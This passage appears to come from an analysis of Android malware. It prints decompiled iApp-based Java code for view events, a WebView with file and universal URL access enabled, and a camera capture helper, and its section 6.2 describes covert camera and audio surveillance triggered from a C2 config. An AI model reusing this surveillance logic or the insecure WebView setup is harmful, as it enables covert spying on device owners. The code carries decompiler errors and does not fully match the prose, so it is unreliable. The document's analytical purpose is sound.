            at jadx.core.codegen.ClassGen.addMethodCode(ClassGen.java:405)
            at jadx.core.codegen.ClassGen.addMethod(ClassGen.java:335)
            at
jadx.core.codegen.ClassGen.lambda$addInnerClsAndMethods$3(ClassGen.java:301)
            at
java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:186)
            at java.base/java.util.ArrayList.forEach(ArrayList.java:1604)
            at
java.base/java.util.stream.SortedOps$RefSortingSink.end(SortedOps.java:395)
            at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:261)
            at
java.base/java.util.stream.ReferencePipeline$7$1FlatMap.end(ReferencePipeline.java:284)
            at
java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:571)
            at
java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:560)
            at
java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:153)
            at
java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:176
)

```

```

        at
java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:265)
        at
java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:632)
        at jadx.core.codegen.ClassGen.addInnerClsAndMethods(ClassGen.java:297)
        at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:286)
        at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:270)
        at jadx.core.codegen.ClassGen.addClassCode(ClassGen.java:161)
        at jadx.core.codegen.ClassGen.addClass(ClassGen.java:310)
        at
jadx.core.codegen.ClassGen.lambda$addInnerClsAndMethods$3(ClassGen.java:299)
        at
java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:186)
        at java.base/java.util.ArrayList.forEach(ArrayList.java:1604)
        at
java.base/java.util.stream.SortedOps$RefSortingSink.end(SortedOps.java:395)
        at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:261)
        at
java.base/java.util.stream.ReferencePipeline$7$1FlatMap.end(ReferencePipeline.java:284)
        at
java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:571)
        at
java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:560)
        at
java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:153)
        at
java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:176
    )
        at
java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:265)
        at
java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:632)
        at jadx.core.codegen.ClassGen.addInnerClsAndMethods(ClassGen.java:297)
        at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:286)
        at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:270)
        at jadx.core.codegen.ClassGen.addClassCode(ClassGen.java:161)
        at jadx.core.codegen.ClassGen.makeClass(ClassGen.java:103)
        at jadx.core.codegen.CodeGen.wrapCodeGen(CodeGen.java:45)
        at jadx.core.codegen.CodeGen.generateJavaCode(CodeGen.java:34)
        at jadx.core.codegen.CodeGen.generate(CodeGen.java:22)
        at jadx.core.ProcessClass.process(ProcessClass.java:79)
        at jadx.core.ProcessClass.generateCode(ProcessClass.java:117)
        at jadx.core.dex.nodes.ClassNode.generateClassCode(ClassNode.java:403)
        at jadx.core.dex.nodes.ClassNode.decompile(ClassNode.java:391)
        at jadx.core.dex.nodes.ClassNode.getCode(ClassNode.java:341)
    */
}

class u implements View.OnFocusChangeListener {
    u() {
    }

    @Override // android.view.View.OnFocusChangeListener

```

```

        public void onFocusChange(View view, boolean z) {
            int id = view.getId();
            main.this.lua.j.d("focuschange" + id, Integer.valueOf(id), view,
Boolean.valueOf(z));
        }
    }

    private void e(View view, int i2, String str) {
        if (addViewEventItme(str, i2, "clicki", "st_vId,st_vW")) {
            view.setOnClickListener(new o());
        }
        if (addViewEventItme(str, i2, "touchmonitor",
"st_vId,st_vW,st_eA,st_eX,st_eY,st_rX,st_rY")) {
            view.setOnTouchListener(new p());
        }
        if (addViewEventItme(str, i2, "press", "st_vId,st_vW")) {
            view.setOnLongClickListener(new q());
        }
        if (addViewEventItme(str, i2, "keyboard", "st_vId,st_vW,st_kC,st_eA,st_eR,st_eT")) {
            view.setOnKeyListener(new r());
        }
        if (str.contains("<eventItme type=\"pressmenu\">")) {
            String strC = c.b.a.a.r.c(str, "<eventItme type=\"pressmenu\">", "
</eventItme>");
            String[] strArrSplit = strC.split("\ncase ");
            for (int i3 = 1; i3 < strArrSplit.length; i3++) {
                this.l += "function onCreateContextMenu" + i2 + "x" + i3 + "()\n" +
c.b.a.a.r.c(strArrSplit[i3], ":", "\nbreak") + "\nend\n";
            }
            String strC2 = c.b.a.a.r.c(strC, "\ndefault:", "\nbreak");
            if (strC2 != null) {
                this.l += "function onCreateContextMenu" + i2 + "x0(st_vId,st_vW)\n" + strC2
+ "\nend\n";
            }
            view.setOnCreateContextMenuListener(new s());
        }
        if (view instanceof TextView) {
            if (addViewEventItme(str, i2, "editormonitor",
"st_vId,st_vW,st_aI,st_eA,st_eR,st_eK,st_eT")) {
                ((TextView) view).setOnEditorActionListener(new t());
            }
            boolean zAddViewEventItme = addViewEventItme(str, i2, "ontextchanged",
"st_vId,st_vW,st_sS,st_sT,st_bE,st_cT");
            boolean zAddViewEventItme2 = addViewEventItme(str, i2, "beforetextchanged",
"st_vId,st_vW,st_sS,st_sT,st_cT,st_aR");
            boolean zAddViewEventItme3 = addViewEventItme(str, i2, "aftertextchanged",
"st_vId,st_vW,st_sS");
            if (zAddViewEventItme || zAddViewEventItme2 || zAddViewEventItme3) {
                new com.iapp.app.t((TextView) view, this.lua.j, zAddViewEventItme,
zAddViewEventItme2, zAddViewEventItme3);
            }
        }
        if (view instanceof WebView) {

```

```

        l((WebView) view, str);
    }
    if (addViewEventItme(str, i2, "focuschange", "st_vId,st_vW,st_hF")) {
        view.setOnFocusChangeListener(new u());
    }
    if (view instanceof AbsListView) {
        boolean zAddViewEventItme4 = addViewEventItme(str, i2, "onscrollstatechanged",
"st_vId,st_vW,st_sE");
        boolean zAddViewEventItme5 = addViewEventItme(str, i2, "onscroll",
"st_vId,st_vW,st_fm,st_vT,st_bT");
        if (zAddViewEventItme4 || zAddViewEventItme5) {
            ((AbsListView) view).setOnScrollListener(new a(zAddViewEventItme4,
zAddViewEventItme5));
        }
    }
    if (view instanceof AdapterView) {
        if (addViewEventItme(str, i2, "clickitem", "st_vId,st_vW,st_pN,st_iD,st_vW2")) {
            ((AdapterView) view).setOnItemClickListener(new b());
        }
        boolean zAddViewEventItme6 = addViewEventItme(str, i2, "onitemselected",
"st_vId,st_vW,st_vW2,st_pN,st_iD");
        boolean zAddViewEventItme7 = addViewEventItme(str, i2, "onnothingselected",
"st_vId,st_vW");
        if (zAddViewEventItme6 || zAddViewEventItme7) {
            ((AdapterView) view).setOnItemSelectedListener(new c(zAddViewEventItme6,
zAddViewEventItme7));
        }
    }
    if (view instanceof ViewPager) {
        boolean zAddViewEventItme8 = addViewEventItme(str, i2, "onpageselected",
"st_vId,st_vW,st_pN");
        boolean zAddViewEventItme9 = addViewEventItme(str, i2, "onpagescrolled",
"st_vId,st_vW,st_pN,st_pT,st_pS");
        boolean zAddViewEventItme10 = addViewEventItme(str, i2,
"onpagescrollstatechanged", "st_vId,st_vW,st_sE");
        if (zAddViewEventItme8 || zAddViewEventItme9 || zAddViewEventItme10) {
            new com.iapp.app.q((ViewPager) view, this.luaj, zAddViewEventItme8,
zAddViewEventItme9, zAddViewEventItme10);
        }
    }
    if (view instanceof DrawerLayout) {
        boolean zAddViewEventItme11 = addViewEventItme(str, i2, "ondrawerclosed",
"st_vId,st_vW,st_dW");
        boolean zAddViewEventItme12 = addViewEventItme(str, i2, "ondraweropened",
"st_vId,st_vW,st_dW");
        boolean zAddViewEventItme13 = addViewEventItme(str, i2, "onoptionsitemselected",
"st_vId,st_vW,st_iM");
        if (zAddViewEventItme11 || zAddViewEventItme12 || zAddViewEventItme13) {
            new com.iapp.app.o((DrawerLayout) view, this.luaj, zAddViewEventItme11,
zAddViewEventItme12, zAddViewEventItme13);
        }
    }
}

```

```

        if ((view instanceof SeekBar) && (str.contains("<eventItme
type=\\\"onstarttrackingtouch\\\">") || str.contains("<eventItme type=\\\"onstoptrackingtouch\\\">")
|| str.contains("<eventItme type=\\\"onprogresschanged2\\\">"))) {
            boolean zAddViewEventItme14 = addViewEventItme(str, i2, "onstarttrackingtouch",
"st_vId,st_vW");
            boolean zAddViewEventItme15 = addViewEventItme(str, i2, "onstoptrackingtouch",
"st_vId,st_vW");
            boolean zAddViewEventItme16 = addViewEventItme(str, i2, "onprogresschanged2",
"st_vId,st_vW,st_nS,st_fR");
            if (zAddViewEventItme14 || zAddViewEventItme15 || zAddViewEventItme16) {
                ((SeekBar) view).setOnSeekBarChangeListener(new d(zAddViewEventItme15,
zAddViewEventItme14, zAddViewEventItme16));
            }
        }
        f(view, str);
    }

    private void f(View view, String str) {
        if ((view instanceof com.iapp.app.TabLayout) && (str.contains("<eventItme
type=\\\"ontabselected\\\">") || str.contains("<eventItme type=\\\"ontabunselected\\\">") ||
str.contains("<eventItme type=\\\"ontabreselected\\\">"))) {
            ((com.iapp.app.TabLayout)
view).addOnTabSelectedListener((TabLayout.OnTabSelectedListener) new e(addViewEventItme(str,
view.getId(), "ontabselected", "st_vId,st_vW,st_pN,st_tT,st_taB"), view,
addViewEventItme(str, view.getId(), "ontabunselected", "st_vId,st_vW,st_pN,st_tT,st_taB"),
addViewEventItme(str, view.getId(), "ontabreselected", "st_vId,st_vW,st_pN,st_tT,st_taB")));
        }
        if (view instanceof RecyclerView) {
            if (str.contains("<eventItme type=\\\"onscrollstatechanged\\\">") || str.contains("
<eventItme type=\\\"onscrolled\\\">")) {
                ((RecyclerView) view).addOnScrollListener(new f(addViewEventItme(str,
view.getId(), "onscrollstatechanged", "st_vId,st_vW,st_sE"), addViewEventItme(str,
view.getId(), "onscrolled", "st_vId,st_vW,st_fM,st_vT,st_bT,st_dX,st_dY,st_isB")));
            }
            if (str.contains("<eventItme type=\\\"clickitem\\\">")) {
                ((RecyclerView) view).addOnItemTouchListener(new h(this, new
GestureDetector(this, new g(addViewEventItme(str, view.getId(), "clickitem",
"st_vId,st_vW,st_pN,st_vW2"), view))));
            }
        }
        if ((view instanceof ViewPager) && (str.contains("<eventItme
type=\\\"onpageselected\\\">") || str.contains("<eventItme type=\\\"onpagescrolled\\\">") ||
str.contains("<eventItme type=\\\"onpagescrollstatechanged\\\">"))) {
            ((ViewPager) view).setOnPageChangeListener(new i(addViewEventItme(str,
view.getId(), "onpageselected", "st_vId,st_vW,st_pN"), view, addViewEventItme(str,
view.getId(), "onpagescrolled", "st_vId,st_vW,st_pN,st_pT,st_pS"), addViewEventItme(str,
view.getId(), "onpagescrollstatechanged", "st_vId,st_vW,st_sE")));
        }
        if ((view instanceof SwipeRefreshLayout) && str.contains("<eventItme
type=\\\"onrefresh\\\">")) {
            ((SwipeRefreshLayout) view).setOnRefreshListener(new j(addViewEventItme(str,
view.getId(), "onrefresh", "st_vId,st_vW"), view));
        }
    }

```

```

        if ((view instanceof CompoundButton) && str.contains("<eventItme
type=\\\"oncheckedchanged\\\">")) {
            ((CompoundButton) view).setOnCheckedChangeListener(new l(addClassEventItme(str,
view.getId(), "oncheckedchanged", "st_vId,st_vW,st_iC"), view));
        }
        if ((view instanceof AppBarLayout) && str.contains("<eventItme
type=\\\"onoffsetchanged\\\">")) {
            ((AppBarLayout)
view).addOnOffsetChangedListener((AppBarLayout.OnOffsetChangedListener) new
m(addClassEventItme(str, view.getId(), "onoffsetchanged", "st_vId,st_vW,st_vO")));
        }
    }

    private boolean g(String str, String str2) {
        if (!str.contains("<eventItme type=\\\"\" + str2 + \"\\\">")) {
            return false;
        }
        String strC = c.b.a.a.r.c(str, "<eventItme type=\\\"\" + str2 + \"\\\">", "</eventItme>");
        if (strC == null) {
            return false;
        }
        this.l += "function " + str2 + "()\\n" + strC + "\\nend\\n";
        return true;
    }

    private boolean h(String str, String str2, String str3) {
        if (!str.contains("<eventItme type=\\\"\" + str2 + \"\\\">")) {
            return false;
        }
        String strC = c.b.a.a.r.c(str, "<eventItme type=\\\"\" + str2 + \"\\\">", "</eventItme>");
        if (strC == null) {
            return false;
        }
        this.l += "function " + str2 + "(" + str3 + ")\\n" + strC + "\\nend\\n";
        return true;
    }

    private void i(String str) {
        if (this.m) {
            str = str + "\\nloading();\\n";
        }
        try {
            this.lua.j.g(str);
        } catch (LuaException e2) {
            e2.printStackTrace();
            w.O2(this, "LuaErr: \\n" + e2.getMessage());
        }
    }

    private String j(String str, String str2) {
        if (!str.contains("<eventItme type=\\\"\" + str2 + \"\\\">")) {
            return null;
        }
    }

```

```

        String strC = c.b.a.a.r.c(str, "<eventItme type=\"\" + str2 + \">\", "</eventItme>");
        if (strC != null) {
            return strC;
        }
        return null;
    }

    @TargetApi(11)
    private void k(WebView webView) {
        if (Build.VERSION.SDK_INT >= 11) {
            webView.removeJavascriptInterface("searchBoxJavaBridge_");
            webView.removeJavascriptInterface("accessibility");
            webView.removeJavascriptInterface("accessibilityTraversal");
        }
    }

    @SuppressWarnings({"SetJavaScriptEnabled"})
    @TargetApi(16)
    private void l(WebView webView, String str) {
        webView.getSettings().setAllowFileAccess(true);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.getSettings().setAppCacheEnabled(true);
        webView.getSettings().setAppCachePath(getApplicationContext().getDir("cache",
0).getPath());
        webView.getSettings().setAppCacheMaxSize(8388608L);
        webView.getSettings().setDatabaseEnabled(true);
        webView.getSettings().setDatabasePath(getApplicationContext().getDir("database",
0).getPath());
        webView.getSettings().setDomStorageEnabled(true);
        webView.getSettings().setGeolocationEnabled(true);
        webView.getSettings().setLightTouchEnabled(true);
        com.iapp.app.x5.c.a(webView);
        webView.getSettings().setSupportZoom(true);
        webView.getSettings().setBuiltInZoomControls(true);
        webView.getSettings().setUseWideViewPort(true);
        webView.getSettings().setLoadWithOverviewMode(true);
        if (Build.VERSION.SDK_INT >= 16) {
            webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
            webView.getSettings().setAllowFileAccessFromFileURLs(true);
        }
        webView.setScrollBarStyle(0);
        if (addViewEventItme(str, webView.getId(), "ondownloadstart",
"st_vId,st_vW,st_url,st_uT,st_cN,st_mE,st_cH")) {
            new com.iapp.app.n(webView, this.luaJ);
        } else {
            webView.setDownloadListener(new k(this));
        }
        new com.iapp.app.x5.b().p(webView, str, this);
        k(webView);
    }

    private void m() {
        String strC;
    }

```

```

String str = this.r;
if (str != null) {
    String strJ = j(str, "loading");
    if (strJ != null) {
        this.m = true;
        this.l += "function loading()\n" + strJ + "\nend\n";
    }
    this.n = g(this.r, "loadingComplete");
    this.p = h(this.r, "downkey", "st_kC,st_eA,st_eR,st_eT");
    this.q = h(this.r, "upkey", "st_kC,st_eA,st_eR,st_eT");
    this.s = g(this.r, "destroy");
    this.t = g(this.r, "stop");
    this.u = g(this.r, "restart");
    this.v = g(this.r, "start");
    this.w = g(this.r, "resume");
    this.x = g(this.r, "pause");
    this.y = h(this.r, "onactivityresult", "st_sC,st_lC,st_iT");
    this.z = h(this.r, "onrequestpermissionsresult", "st_sC,st_pS,st_gR");
    this.A = h(this.r, "sensor", "st_x,st_y,st_z");
    if (!this.r.contains("<eventItme type=\"menu\">") || (strC = c.b.a.a.r.c(this.r,
"<eventItme type=\"menu\">", "</eventItme>")) == null) {
        return;
    }
    String[] strArrSplit = ("m\n" + strC).split("\ncase ", -1);
    this.e = new String[strArrSplit.length];
    for (int i2 = 1; i2 < strArrSplit.length; i2++) {
        this.e[i2] = c.b.a.a.r.c(strArrSplit[i2], null, ":");
        this.l += "function CreateOptionsMenu" + i2 + "()\n" +
c.b.a.a.r.c(strArrSplit[i2], ":", "\nbreak") + "\nend\n";
    }
    String strC2 = c.b.a.a.r.c(strC, "\ndefault:", "\nbreak");
    if (strC2 != null) {
        this.o = true;
        this.l += "function onCreateOptionsMenuloading()\n" + strC2 + "\nend\n";
    }
}
}

public boolean addViewEventItme(String str, int i2, String str2, String str3) {
    if (!str.contains("<eventItme type=\"\" + str2 + \">")) {
        return false;
    }
    String strC = c.b.a.a.r.c(str, "<eventItme type=\"\" + str2 + \">", "</eventItme>");
    if (strC == null) {
        return false;
    }
    this.l += "function " + str2 + i2 + "(" + str3 + ")\n" + strC + "\nend\n";
    return true;
}

@Override // com.iapp.app.run.iActivity
protected void d() {
    super.d();
}

```

```

        if (com.iapp.app.a.b == null) {
            c.b.a.a.e.t(this);
            finish();
            return;
        }
        w.k = this.f1963d;
        setContentView(2131427453);
        this.g = getIntent().getExtras().getString("OpenFilexmlui");
        this.f1962c = (LinearLayout) findViewById(2131231172);
        com.iapp.app.b.h3(this, this.g.toLowerCase());
    }

    public void g() {
        this.luaj = new com.iapp.app.d(this);
        this.k = new Aid_luaCode(this, this.luaj);
        this.luaj.l("activity", this);
        this.luaj.l("i", this.k);
        this.luaj.k();
        m();
        if (this.A) {
            SensorManager sensorManager = (SensorManager) getSystemService("sensor");
            this.f1964i = sensorManager;
            Sensor defaultSensor = sensorManager.getDefaultSensor(1);
            this.j = defaultSensor;
            n nVar = new n();
            this.h = nVar;
            this.f1964i.registerListener(nVar, defaultSensor, 2);
        }
        i(this.l);
    }

    /* JADX WARN: Removed duplicated region for block: B:11:0x0059 */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
    */
    public void g(String str) {
        View viewF;
        int i2 = c.b.a.a.r.i(c.b.a.a.r.c(str, "id=\"", "\""), -1);
        int i3 = c.b.a.a.r.i(c.b.a.a.r.c(str, "did=\"", "\""), -1);
        String strC = c.b.a.a.r.c(str, "type=\"", "\"");
        String strH = c.b.a.a.r.h(str, "ppt");
        String strH2 = c.b.a.a.r.h(str, NotificationCompat.CATEGORY_EVENT);
        if (i2 == -1 || i3 == -1) {
            return;
        }
    }
    if (strC.equals("ProgressBar")) {
        String strC2 = c.b.a.a.r.c("\n" + strH + "\n", "\nstyle=", "\n");
        viewF = strC2 != null ? this.f.f(i2, strC, strC2) : this.f.e(i2, strC);
    }
    if (viewF == null) {
        return;
    }
    ViewGroup viewGroup = i3 == 0 ? this.f1962c : (ViewGroup) findViewById(i3);

```

```

        viewF.setLayoutParams(this.f.d(viewGroup, viewF));
        if (this.f.a(new com.iapp.app.i(viewF, this), strH)) {
            viewF.setTag(new Object[]{strC, strH, strH2, null});
            e(viewF, i2, strH2);
            viewGroup.addView(viewF);
        }
    }

    @Override // androidx.fragment.app.FragmentActivity,
    androidx.activity.ComponentActivity, android.app.Activity
    @SuppressWarnings("NewApi")
    protected void onActivityResult(int i2, int i3, Intent intent) throws
    IllegalStateException {
        super.onActivityResult(i2, i3, intent);
        if (i2 != 1101) {
            if (i2 != 1103) {
                if (this.y) {
                    this.lua.j.d("onactivityresult", Integer.valueOf(i2),
                    Integer.valueOf(i3), intent);
                    return;
                }
                return;
            } else {
                com.iapp.app.p pVar = com.iapp.app.p.n;
                if (pVar != null) {
                    pVar.m(i2, i3, intent);
                    return;
                }
                return;
            }
        }
        Uri data = (intent == null || i3 != -1) ? null : intent.getData();
        try {
            ValueCallback<Uri> valueCallback = com.iapp.app.x5.b.f2012d;
            if (valueCallback != null) {
                valueCallback.onReceiveValue(data);
            } else {
                ValueCallback<Uri[]> valueCallback2 = com.iapp.app.x5.b.e;
                if (valueCallback2 != null) {
                    valueCallback2.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(i3, intent));
                }
            }
        } catch (Exception e2) {
            e2.printStackTrace();
        }
        com.iapp.app.x5.b.f2012d = null;
        com.iapp.app.x5.b.e = null;
    }

    @Override // androidx.appcompat.app.AppCompatActivity,
    androidx.fragment.app.FragmentActivity, android.app.Activity,
    android.content.ComponentCallbacks

```

```

    public void onConfigurationChanged(Configuration configuration) {
        super.onConfigurationChanged(configuration);
    }

    @Override // android.app.Activity
    public boolean onOptionsItemSelected(MenuItem menuItem) {
        this.luaj.c("onCreateContextMenu" + menuItem.getGroupId() + "x" +
menuItem.getItemId());
        return true;
    }

    @Override // com.iapp.app.run.iActivity, androidx.fragment.app.FragmentActivity,
androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity,
android.app.Activity
    protected void onCreate(Bundle bundle) {
        requestWindowFeature(1);
        super.onCreate(bundle);
    }

    @Override // android.app.Activity
    public boolean onCreateOptionsMenu(Menu menu) {
        String[] strArr = this.e;
        if (strArr != null) {
            int length = strArr.length;
            for (int i2 = 1; i2 < length; i2++) {
                if (this.e[i2].contains("|")) {
                    boolean zC0 = com.iapp.app.i.c0(menu, i2, this.e[i2], this);
                    if (!this.B && zC0) {
                        this.B = true;
                    }
                } else {
                    menu.add(0, i2, 0, this.e[i2]);
                }
            }
        }
        if (this.o) {
            this.luaj.c("onCreateOptionsMenuloading");
        }
        return true;
    }

    @Override // androidx.appcompat.app.AppCompatActivity,
androidx.fragment.app.FragmentActivity, android.app.Activity
    protected void onDestroy() {
        super.onDestroy();
        if (this.s) {
            this.luaj.c("destroy");
        }
        SensorManager sensorManager = this.f1964i;
        if (sensorManager != null) {
            sensorManager.unregisterListener(this.h, this.j);
        }
    }
}

```

```

    public void onHideCustomViewX() {
        FrameLayout frameLayout = this.fullscreenContainer;
        if (frameLayout == null) {
            return;
        }
        Context context = frameLayout.getContext();
        ((ViewGroup)
this.fullscreenContainer.getParent()).removeView(this.fullscreenContainer);
        if (context instanceof Activity) {
            ((Activity)
context).getWindow().getDecorView().setSystemUiVisibility(this.originalSystemUiVisibility);
        }
        this.fullscreenContainer.removeAllViews();
        this.fullscreenContainer = null;
        WebChromeClient.CustomViewCallback customViewCallback = this.customViewCallback;
        if (customViewCallback != null) {
            customViewCallback.onCustomViewHidden();
        }
    }

    @Override // androidx.appcompat.app.AppCompatActivity, android.app.Activity,
    android.view.KeyEvent.Callback
    public boolean onKeyDown(int i2, KeyEvent keyEvent) {
        if (this.p) {
            return this.lua.j.e("downkey", Integer.valueOf(i2),
Integer.valueOf(keyEvent.getAction()), Integer.valueOf(keyEvent.getRepeatCount()),
keyEvent);
        }
        if (i2 != 4) {
            return false;
        }
        if (this.fullscreenContainer != null) {
            onHideCustomViewX();
            return true;
        }
        finish();
        return true;
    }

    @Override // android.app.Activity, android.view.KeyEvent.Callback
    public boolean onKeyUp(int i2, KeyEvent keyEvent) {
        if (this.q) {
            return this.lua.j.e("upkey", Integer.valueOf(i2),
Integer.valueOf(keyEvent.getAction()), Integer.valueOf(keyEvent.getRepeatCount()),
keyEvent);
        }
        return false;
    }

    @Override // androidx.appcompat.app.AppCompatActivity, android.app.Activity,
    android.view.Window.Callback

```

```

        public boolean onMenuOpened(int i2, Menu menu) throws IllegalAccessException,
NoSuchMethodException, SecurityException, IllegalArgumentException,
InvocationTargetException {
            if (this.B && menu != null &&
menu.getClass().getSimpleName().equalsIgnoreCase("MenuBuilder")) {
                try {
                    Method declaredMethod =
menu.getClass().getDeclaredMethod("setOptionalIconsVisible", Boolean.TYPE);
                    declaredMethod.setAccessible(true);
                    declaredMethod.invoke(menu, Boolean.TRUE);
                } catch (Exception e2) {
                    e2.printStackTrace();
                }
            }
            return super.onMenuOpened(i2, menu);
        }

@Override // android.app.Activity
public boolean onOptionsItemSelected(MenuItem menuItem) {
    this.luaj.c("CreateOptionsMenu" + menuItem.getItemId());
    return true;
}

@Override // androidx.fragment.app.FragmentActivity, android.app.Activity
protected void onPause() {
    super.onPause();
    if (this.x) {
        this.luaj.c("pause");
    }
}

@Override // com.iapp.app.run.iActivity, androidx.fragment.app.FragmentActivity,
androidx.activity.ComponentActivity, android.app.Activity
public void onRequestPermissionsResult(int i2, @NonNull String[] strArr, @NonNull int[]
iArr) {
    super.onRequestPermissionsResult(i2, strArr, iArr);
    if (this.z) {
        this.luaj.d("onrequestpermissionsresult", Integer.valueOf(i2), strArr, iArr);
    }
}

@Override // android.app.Activity
protected void onRestart() {
    super.onRestart();
    w.k = this.f1963d;
    if (this.u) {
        this.luaj.c("restart");
    }
}

@Override // androidx.fragment.app.FragmentActivity, android.app.Activity
protected void onResume() {
    super.onResume();

```

```

        if (this.w) {
            this.luaj.c("resume");
        }
    }

    public void onShowCustomViewX(Activity activity, View view,
WebChromeClient.CustomViewCallback customViewCallback) {
        if (this.fullscreenContainer != null) {
            customViewCallback.onCustomViewHidden();
            this.fullscreenContainer = null;
            return;
        }
        FrameLayout frameLayout = new FrameLayout(activity);
        this.fullscreenContainer = frameLayout;
        frameLayout.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
        this.fullscreenContainer.setBackgroundColor(ViewCompat.MEASURED_STATE_MASK);
        Window window = activity.getWindow();
        this.originalSystemUiVisibility = window.getDecorView().getSystemUiVisibility();
        window.addContentView(this.fullscreenContainer, new ViewGroup.LayoutParams(-1, -1));
        window.getDecorView().setSystemUiVisibility(5894);
        this.fullscreenContainer.addView(view);
        this.customViewCallback = customViewCallback;
    }

    @Override // androidx.appcompat.app.AppCompatActivity,
androidx.fragment.app.FragmentActivity, android.app.Activity
    protected void onStart() {
        super.onStart();
        if (this.v) {
            this.luaj.c("start");
        }
    }

    @Override // androidx.appcompat.app.AppCompatActivity,
androidx.fragment.app.FragmentActivity, android.app.Activity
    protected void onStop() {
        super.onStop();
        if (this.t) {
            this.luaj.c("stop");
        }
    }

    @Override // android.app.Activity, android.view.Window.Callback
    public void onWindowFocusChanged(boolean z) {
        super.onWindowFocusChanged(z);
        if (!z || this.C) {
            return;
        }
        this.C = true;
        if (this.n) {
            this.luaj.c("loadingComplete");
        }
    }
}

```

```
}
```

6.2. The "Mirror" Surveillance Logic (Camera & Audio)

The `lib.so` payload contains logic to interface with the `android.hardware.camera2` API and the `MediaRecorder` class.

- **Silent Capture:** The malware initiates a `SurfaceTexture` that is 1x1 pixel in size (invisible to the user) to bypass the requirement for a visible camera preview.
- **Trigger Events:** Surveillance is not constant (to save battery and avoid detection). It is triggered by specific "Events" defined in the C2 `config.php`, such as the phone being plugged into a charger or the screen being turned on.

```
package com.iapp.app;

import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.hardware.Camera;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import c.b.a.a.w;
import com.iapp.app.run.mian;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;

/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class m {
    private Activity a;
    private Context b;

    /* renamed from: c, reason: collision with root package name */
    private SurfaceView f1946c;

    /* renamed from: d, reason: collision with root package name */
    private SurfaceHolder f1947d;
    private int e;
    private int f;
    private Camera g;
    private boolean h;

    /* renamed from: i, reason: collision with root package name */
    private boolean f1948i;
    private boolean j;
    private int k;
    private int l;
    private int m;
```

```

private String n;
private String o;
Camera.AutoFocusCallback p;
Camera.PictureCallback q;

class a implements SurfaceHolder.Callback {
    a() {
    }

    @Override // android.view.SurfaceHolder.Callback
    public void surfaceChanged(SurfaceHolder surfaceHolder, int i2, int i3, int i4) {
    }

    @Override // android.view.SurfaceHolder.Callback
    public void surfaceCreated(SurfaceHolder surfaceHolder) throws IOException {
        m.this.t();
    }

    @Override // android.view.SurfaceHolder.Callback
    public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
        if (m.this.g != null) {
            if (m.this.h) {
                m.this.g.stopPreview();
            }
            m.this.g.release();
            m.this.g = null;
        }
        m.this.h = false;
    }
}

```

```

class b implements Camera.AutoFocusCallback {

```

```

    class a implements Camera.ShutterCallback {
        a(b bVar) {
        }
    }

```

```

    @Override // android.hardware.Camera.ShutterCallback
    public void onShutter() {
    }
}

```

```

/* renamed from: com.iapp.app.m$b$b, reason: collision with other inner class name

```

```

*/

```

```

class C0063b implements Camera.PictureCallback {
    C0063b(b bVar) {
    }

    @Override // android.hardware.Camera.PictureCallback
    public void onPictureTaken(byte[] bArr, Camera camera) {
    }
}

```

```

b() {
}

@Override // android.hardware.Camera.AutoFocusCallback
public void onAutoFocus(boolean z, Camera camera) {
    if (z) {
        camera.takePicture(new a(this), new C0063b(this), m.this.q);
    }
}

}

class c implements Camera.PictureCallback {
    c() {
    }

    @Override // android.hardware.Camera.PictureCallback
    public void onPictureTaken(byte[] bArr, Camera camera) throws Throwable {
        Bitmap bitmapDecodeByteArray;
        if (m.this.l != 0) {
            m mVar = m.this;
            bitmapDecodeByteArray = mVar.v(mVar.l, BitmapFactory.decodeByteArray(bArr,
0, bArr.length));
        } else {
            bitmapDecodeByteArray = BitmapFactory.decodeByteArray(bArr, 0, bArr.length);
        }
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(new
File(m.this.n));
            bitmapDecodeByteArray.compress(Bitmap.CompressFormat.JPEG, m.this.m,
fileOutputStream);
            fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        boolean z = m.this.f1948i;
        camera.stopPreview();
        if (z) {
            m.this.h = false;
        } else {
            camera.startPreview();
            m.this.h = true;
        }
        if (m.this.n == null || m.this.o == null) {
            return;
        }
        if (mian.sh) {
            w wVar = new w(m.this.b, m.this.a);
            wVar.S("st_vId", Integer.valueOf(m.this.f1946c.getId()));
            wVar.S("st_vW", m.this.f1946c);
            wVar.S("st_oS", this);
            wVar.S("st_fN", m.this.n);
            wVar.e(m.this.o);
            return;
        }
    }
}

```

```

    }
    Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(m.this.b, m.this.a);
    aid_YuCodeX.dim("st_vId", Integer.valueOf(m.this.f1946c.getId()));
    aid_YuCodeX.dim("st_vW", m.this.f1946c);
